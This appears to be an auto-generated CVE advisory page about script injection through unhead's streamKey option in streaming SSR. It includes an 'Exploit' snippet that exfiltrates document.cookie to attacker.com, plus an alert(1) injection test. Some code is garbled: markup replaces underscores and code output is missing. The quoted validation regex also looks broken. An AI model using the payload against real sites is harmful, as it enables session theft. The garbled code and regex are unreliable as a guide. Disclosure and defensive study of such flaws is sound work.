unhead, Script Injection via streamKey, CVE(unknown)

Listen to this Post

How the CVE works (around 20 lines):

The vulnerability exists in unhead’s streaming SSR helpers (createStreamableHead, createBootstrapScript, renderSSRHeadSuspenseChunk). The `streamKey` configuration argument is inserted directly into JavaScript source code without any escaping, quoting, or identifier validation.

In `createBootstrapScript()`, the library returns ``.

In `renderSSRHeadSuspenseChunk()`, it returns `window.${streamKey}.push(…)`.

Because `streamKey` is embedded as raw code (not serialized data), an attacker can break out of the intended property access.
For example, supplying `__unhead__;globalThis.PWNED=1;//` as the `streamKey` turns the output into:

``

The semicolon ends the property access, `globalThis.PWNED=1` executes arbitrary JavaScript, and `//` comments out the rest.
The JSON escaping applied to other head entries does not protect `streamKey` because it is inserted as code, not as a JSON string.
Exploitation requires the application to explicitly pass untrusted input into the `streamKey` configuration sink – this is not a documented or recommended usage pattern.
Applications using the default hardcoded `__unhead__` or any safe, hardcoded custom key are not affected.
The patch (commit 64b5ac0) validates `streamKey` against a conservative ASCII JavaScript-identifier regex: /^[$_a-z][$\w]$/i.
Invalid values throw an error immediately instead of being emitted into script output.
Workarounds: never pass untrusted data to `createStreamableHead({ streamKey })` or createBootstrapScript(key). If per-tenant keys are necessary, whitelist them against an identifier-safe pattern before use.

dailycve form (3 words max per line):

Platform: Node.js / Deno
Version: unhead < patch
Vulnerability: Script injection (SSR)
Severity: Medium (config-dependent)
Date: Not assigned

Prediction: Already patched (2025)

What Undercode Say:

Analytics: The sink (streamKey) is a developer configuration value, not user data. Most deployments are safe. However, any framework that dynamically generates `streamKey` from request parameters (e.g., tenant IDs) becomes critically exposed. The attack vector is narrow but impact is full client-side code execution in the affected SSR response.

Bash commands / code related to the

Check unhead version
npm list unhead
Test for unsafe streamKey pattern (example vulnerable code)
node -e "const { createStreamableHead } = require('unhead/stream/server'); const { head } = createStreamableHead({ streamKey: '<strong>unhead</strong>;alert(1);//' }); console.log('Vulnerable if no error thrown');"

Exploit:

// Attacker-controlled streamKey payload
const payload = '<strong>unhead</strong>;fetch("https://attacker.com/steal?cookie="+document.cookie);//';
const { head } = createStreamableHead({ streamKey: payload });
// Rendered script tag becomes:
// <script>window.__unhead__;fetch("https://attacker.com/steal?cookie="+document.cookie);//={...}</script>

Protection from this CVE:

  • Upgrade unhead to the patched version (commit `64b5ac0` or later release).
  • Never accept user input as `streamKey` – hardcode it.
  • If dynamic keys are required, validate with `/^[$_a-z][$\w]$/i` before passing to createStreamableHead.
  • Use Content Security Policy (CSP) to restrict script execution as a defense-in-depth measure.

Impact:

Successful exploitation leads to arbitrary JavaScript execution in the context of the victim’s browser when the SSR page is loaded. Attackers can steal session cookies, perform unauthorized actions, deface the page, or redirect users to malicious sites. The impact is limited to applications that explicitly route untrusted data into the `streamKey` configuration. No known public exploits or downstream projects are affected as of the report date.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top